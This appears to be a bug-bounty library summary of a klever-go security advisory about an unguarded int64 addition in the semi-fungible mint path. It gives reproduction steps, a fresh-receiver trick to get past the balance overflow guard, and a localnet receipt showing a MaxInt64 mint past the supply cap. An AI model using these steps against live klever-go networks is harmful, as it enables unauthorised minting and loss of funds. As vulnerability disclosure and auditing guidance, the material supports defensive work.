# klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Unguarded int64 `+=` in klever-go SFTAddCirculation lets a mint-role holder wrap Circulation negative and mint MaxInt64 units past a finite MaxSupply cap.

- Payout: Research
- Severity: high
- Program: Klever-Go
- Found by: nickgs1337
- Disclosed: 2026-08-28
- CVE: CVE-2026-55764
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mrpp-v6pg-p54x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mrpp-v6pg-p54x
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:research platform:ghsa sev:high tech:go technique:regression technique:source-review vuln:accounting-error vuln:business-logic

**Target:** SFT add-quantity mint path (SFTAddCirculation / AssetTrigger Mint contract)
**Root cause:** SFTAddCirculation does `meta.Circulation += amount` with no overflow guard, then checks `Circulation > MaxSupply`; a negative wrap makes the signed comparison false so the cap check passes. The fungible path has a post-increment `MintedValue <= 0` guard that SFT lacks.
**Steps:**
1. Create SFT nonce with finite `MaxSupply = 1000` and seed `Circulation = 5`.
2. Contrast: `SFTAddCirculation(asset, nonce, 2000)` returns `ErrMaxSupplyExceeded` and does not persist.
3. Send `AssetTrigger Mint` with `amount = 9223372036854775807` (MaxInt64) for `F05-2SDF/1` to a fresh receiver address.
4. Transaction returns `resultCode Ok` with a Transfer receipt minting MaxInt64 from the protocol mint address; `Circulation` wraps to `-9223372036854775804`.
5. Note: minting to an account already holding nonce-1 units trips the balance overflow guard (RC 37) instead, so use a fresh receiver.
**How found:** Compared the SFT add-quantity path against the fungible mint path: the fungible path has a post-increment `MintedValue <= 0` guard, the SFT path only has a signed `Circulation > MaxSupply` check, so a negative wrap slips through. Confirmed with a unit test isolating the unguarded `+=`, then on a live single-node localnet.
**Exploitation:** A mint-role holder (asset owner or granted address) submits an AssetTrigger Mint with amount MaxInt64 to a fresh receiver. The receiver's balance add does not overflow, so execution reaches SFTAddCirculation, where 5 + MaxInt64 wraps negative, the cap check passes, and the protocol mint address transfers MaxInt64 units with no authorized debit while corrupting the on-chain Circulation counter.
**Insight:** When auditing supply caps, check whether the cap comparison is signed and whether the accumulator has a post-increment negativity guard; a sibling code path (fungible mint) that has the guard is a strong signal the other path is missing it. Also note the receiver-balance overflow guard can mask the counter bug, so test with a fresh receiver.

## Proof of concept (copied exactly from the original report)

**On-chain MaxInt64 mint transaction receipt**

```
{
    "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
    "blockNum": 484,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 9223372036854775807
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF/1",
                "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                "amount": 9223372036854775807
            }
        }
    ]
}
```

